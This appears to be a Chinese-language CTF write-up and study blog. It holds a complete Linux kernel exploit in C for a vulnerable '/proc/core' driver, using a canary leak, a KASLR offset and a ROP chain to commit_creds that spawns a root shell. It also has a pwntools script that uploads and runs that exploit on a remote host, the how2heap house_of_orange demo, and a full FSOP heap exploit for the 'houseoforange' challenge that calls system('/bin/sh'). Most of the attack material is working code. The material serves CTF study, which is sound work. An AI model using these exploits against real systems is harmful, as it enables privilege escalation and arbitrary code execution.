55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void save_status();//保存用户状态时寄存器
size_t find_symbols();//查看/tmp/kallsyms找到kaslr下函数的地址
void getpwn();//跑/bin/sh

void core_copy_func(int fd,long long int size);
void core_read(int fd,char* buf);//这两个就是通过ioctl的操作码来和驱动设备交互了

size_t vmlinux_base = 0;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;

int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd<0)
{
puts("[*] open /proc/core error");
exit(0);
}
find_symbols();
size_t offset=vmlinux_base-raw_vmlinux_base;//raw_vmlinux_base是我们没有开启kaslr时的内核加载基址,这里就是算出aslr的offset
setoff(fd,0x40);//将off的值 设置成canary对应的偏移
char buf[0x40]={0};
core_read(fd,buf);//把canary读到这个buf数组里面去

size_t canary=((size_t *)buf)[0];
printf("[*] canary :%p\n", canary);
size_t rop[0x1000];
int i;
for(i=0;i<10;i++)
{
rop[i]=canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret rdx=&'pop rcx; ret'
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; prepare_kernel_cred(0)返回值放到rdi
//call rdx:pop rcx 把call保存的rip放到rcx去,这一步没什么意义只是为了直接ret到下一条
rop[i++] = commit_creds;//执行commit_creds(rdi)

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;//为了gadget中的popfq

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 此时之前保存的用户态数据就有作用了
rop[i++] = (size_t )getpwn;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd,rop,0x800);//先用write写到name中,因为此设备的write是注册过的,所以可以直接用write写进去
core_copy_func(fd,0xffffffffffff0000 | (0x100));//然后开始core_copy实现栈溢出


return 0;
}
void core_copy_func(int fd,long long int size)
{
puts("[*] going core_copy_func");
ioctl(fd,0x6677889A,size);
}
void getpwn()
{
if(!getuid())
{
system("/bin/sh");

}
else
{
puts("[*] get shell error");
}
exit(0);

}
void core_read(int fd,char* buf)
{
puts("[*] going core_read");
ioctl(fd,0x6677889B,buf);
}
void setoff(int fd,int size)
{
puts("[*] going setoff");
ioctl(fd,0x6677889C,size);
}
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}

}

调试过程

现在有了exp还有思路当然要自己调试的看一看了,具体调试我使用的是pwndgb

先把编译好的exp打包进root.cpio中(解包打包操作前面有了)(编译命令是师傅教我的musl-gcc -static -O2 exp.c -o exp)

然后用./rootstart把qemu起起来,执行 gdb vmlinux

接着set architecture i386:x86-64target remote:1234

这里我调试的时候第一次断在了0xffffffffc00000cc,地址是通过root模式下lsmod显示的驱动base加上IDA中偏移后得来的,所以感觉nokaslr下调试会方便一些(有kaslr时感觉断点都不太好下),断的地方就是在core_read中copy_to_user处

1585008529686

断下来了之后是这样的

栈上的情况大致如下:

1585008988570

这里分别是canary、ebp(这个ebp似乎直接返回到用户栈去了)、返回地址(对应我们驱动中ioctl的地址)

copy_to_user之后就可以获得8*8个栈上的数据,当然就包括canary还有一些地址了

1585009204137

然后从内核态返回用户态似乎是从__do_softirq+328这里返回的

1585009743004

最后断在qmemcpy之后(中间的感觉不用断了…挺好理解的),可以看到栈上的数据已经被改成了各种gadget还有返回时需要的寄存器值

调试的时候log_buf_vmcoreinfo_setup+209好像就是执行prepare_kernel_cred(0)

msg_print_ext_body+227就是执行commit_creds(rdi)

1585010675845

最后执行到最后ret之前就是这样了,返回用户态执行/bin/sh(那个0x400430就是我们的getpwn),就是从ring0直接调用,所以弹给我们的就是root的shell了

至于这个程序的kaslr没有特意去绕是因为我们直接读取了/tmp/kallsyms,从而减去没有kaslr时的内核函数基地址就可以得到加载偏移,不过内核函数加载地址和我们驱动加载地址似乎是被kaslr映射在不同的地方的,需要的情况下得分别leak才行(比如我们上面read时leak了很多内容)

我们这个程序也刚好没有使用到驱动的gadget,所以只用leak内核函数基址就好了

./start脚本去实测的效果就是这样:

1585011340948

ps:这个kaslr似乎后很多位的off都是相同的

这里再给出一个CTF比赛时打远程的脚本(来自林国鹏师傅):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2019 saltedfish <17302010022@fudan.edu.cn>
#
# Distributed under terms of the MIT license.
from pwn import *
import sys
import os

context.log_level = 'debug'
cmd = '$ '

p=remote('192.168.3.255',1234)
def exploit(r):
r.sendlineafter(cmd, 'stty -echo')
os.system('musl-gcc -static -O2 exp.c -o exp')
os.system('gzip -c exp > exp.gz')
r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64') #heredoc
r.sendline((read('exp.gz')).encode('base64'))
r.sendline('EOF')
r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
r.sendlineafter(cmd, 'gunzip exp.gz')
r.sendlineafter(cmd, 'chmod +x ./exp')
r.sendlineafter(cmd, './exp')
r.interactive()

exploit(r)

how2heap - house_of_orange&houseoforange

ubuntu16.04 libc2.23

house_of_orange.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner ( char *ptr);

int main()
{
char *p1, *p2;
size_t io_list_all, *top;



p1 = malloc(0x400-0x10);//malloc一个small chunk (size:0x400)


top = (size_t *) ( (char *) p1 - 16 + 0x400);//top=&top_chunk
top[1] = 0xc01;//top_chunk.size=0xc01 这里,topchunk+size后的地址必须是页对齐的,prev_inuse必须要设置


p2 = malloc(0x1000);//malloc一个比top_chunk.size大的chunk,此时0xc01的旧top_chunk就会被放到 unsortedbin中去

io_list_all = top[2] + 0x9a8;//top的fd+0x9a8就等于io_list_all在libc中的地址

top[3] = io_list_all - 0x10;//把top的bk设置成io_list_all-0x10处,用于bck->fd = unsorted_chunks (av)这一任意写,此时写上去的正好是main_arena.top的地址(&main_arena.top)

memcpy( ( char *) top, "/bin/sh\x00", 8);// 将/bin/sh写到top_chunk上面


top[1] = 0x61;//在后面malloc(10)的时候,把chunk放到对应的chain处



_IO_FILE *fp = (_IO_FILE *) top;
/////////////////////////////////////////////////////////////这里就是FSOP那一套
fp->_mode = 0; // top+0xc0


fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28


size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
///////////////////////////////////////////////////////////////////////////////
malloc(10);//malloc(0x10),size不相等时触发任意写,并在任意写之后,由于unsortedbin->bk指向的是io_list_all-0x10,此处的对应的size为0,然后就会触发malloc_printerr
//触发malloc_printerr就会触发_IO_flush_all_lockp,之后通过chain,FSOP成功(这里能通过chain劫持成功的原因也是因为main_arena上对应偏移处的_mode值不为0)
//之后就会去执行我们的winner了,而且关键是IO_FILE对于函数的调用是类似于f(ptr)这样调用的,所以最后执行的时候就是_IO_OVERFLOW(fp, EOF)=>system(&top)
//然而此时top上的字符串是/bin/sh,所以就会getshell

return 0;
}

int winner(char *ptr)
{
system(ptr);
return 0;
}

由于源how2heap上的代码注释太多,要是对具体有疑问的推荐去看一下源代码上的注释,我这个主要是总结用,还有以后参考用

整个过程是一个很巧妙的过程,没有通过free,就是通过top_chunk和unsortedbin attack实现了这个利用,全程也不是特别难理解,我的调试过程就是看了一下到底是哪出错调用的malloc_printerr

houseoforange

程序分析

build

1584105896359

最多只能build 4次,对应的chunk联系如下图所示

1584105957540

其中Orange和price_color_chunk都是固定大小的,而且price_color_chunk是calloc出来的chunk

name是我们自己控制大小的一个chunk,最大可为0x1000

see

1584106502771

基本就是打印我们的name还有price,加上一个我们指定颜色的橘子

upgrade

1584106661589

最多只允许upgrade两次,其中更新时的lenth是我们自己输出的,存在一个溢出,然后就是更新price和color

漏洞分析&Exploit

漏洞点应该说很容易理解,就是upgrade中的overflow,主要就在于我们应该怎么利用。首先程序没有free,所以很多利用都没办法下手了,但是前面刚好学到了house_of_orange,是一个不需要用free即可实现的漏洞,再来看

build中的chunk申请顺序是:malloc(0x10);malloc(len);calloc(8)

然后我们的溢出产生在第二个chunk上,可以溢出到calloc出来的chunk还有topchunk

所以这里先build一个house来修改topchunk的size,和前面house_of_orange.c中一样,设置时保持top+size+0x20页对齐,用于后续利用

设置好之后build第二个house,此时指定name为0x1000大小,即可把原来的topchunk放到unsortedbin

这个时候再进行第三次build,指定name稍微小一点,保证这次build出来的house都是从top中切出来的,然后就可以进行溢出修改、leak的操作了

最后一次build触发FSOP即可……..?是不是还少了点什么,因为我们FSOP的时候需要吧vtable指向一个我们可以控制的地方,但是我还没有leak heap或者PIE啊….这怎么办,后来再查阅wp的时候知道了通过切割largechunk时残留的fd_nextsize和bk_nextsize leak的操作….说实话因为largebin在写题的时候用到的少所以没有想到XD…记下来免得以后不记得

PS:顺带记一下fd_nextsizebk_nextsize会被清空的情况

  1. 从unsortedbin中唯一last remainder中切出来的时候(malloc.c:3494)
  2. 从largebin中切割出的remainder放入unsortedbin时,如果remainder的size仍是属于largebin的,就将这两个ptr清空
    (malloc.c:3645)(我们最后堆地址泄露就是通过从这切出来的large victim chunk)
  3. 一个属于largesize的chunk,free被链入unsortedbin时

完整EXP

有了上面思路之后写WP就很好说了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './houseoforange' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\x00'))
my_u32 = lambda x: u32(x.ljust(4, '\x00'))
global_max_fast=0x3c67f8
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")

# todo here
def build(length,name,price,color):
p.recvuntil('Your choice : ')
p.send('1')
p.recvuntil('of name :')
p.send(str(length))
p.recvuntil('Name :')
p.send(name)
p.recvuntil('Price of Orange:')
p.send(str(price))
p.recvuntil('Color of Orange:')
p.send(str(color))

def upgrade(length,name,price,color):
p.recvuntil('Your choice : ')
p.send('3')
p.recvuntil('of name :')
p.send(str(length))
p.recvuntil('Name:')
p.send(name)
p.recvuntil('Price of Orange:')
p.send(str(price))
p.recvuntil('Color of Orange:')
p.send(str(color))

def see():
p.recvuntil('Your choice : ')
p.send('2')

build(0x10,'a'*0x10,1,0xDDAA)#0x20 0x20 0x20 0x20fa1
payload='a'*0x18+p64(0x21)+p64(0xddaa00000001)+p64(0)*2+p64(0xfa1)
upgrade(0x40,payload,1,0xDDAA)
build(0x1000,'\x00'*0x1000,1,0xDDAA)
build(0x400,'*'*0x8,1,0xDDAA)#when the size is largesize, the split victim chunk will remain the fd_nextsize&bk_nextsize

see()
p.recvuntil("********")
libc_base=my_u64(p.recv(6))-0x3c5188
loginfo("libc_base:",libc_base)

upgrade(0x10,'*'*0x10,1,0xDDAA)
see()
p.recvuntil('****************')
heap_base=my_u64(p.recv(6))-0xc0
loginfo("heap_base",heap_base)

payload='\x00'*0x408+p64(0x21)+p64(0xddaa00000010)+p64(0)+'/bin/sh\x00'+p64(0x61)+p64(0)+p64(libc_base+0x3c5520-0x10)
payload+=(p64(0)+p64(1)).ljust(0xb0,'\x00')+p64(0)
payload=payload.ljust(0xc8,'\x00')+p64(heap_base+0x5c0)+p64(0)+p64(libc.symbols['system']+libc_base)

upgrade(len(payload),payload,1,0xDDAA)

p.recvuntil('Your choice : ')
p.send('1')

p.interactive()
'''libc 2.23 x64
0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL
req = dest - old_top - 4*sizeof(long)
fastbin addree to size: (offset_to_fastbinY/8+2)<<(4 or 3)
largebin chunksize:0x410|0x450|0x490|0x4C0...
'''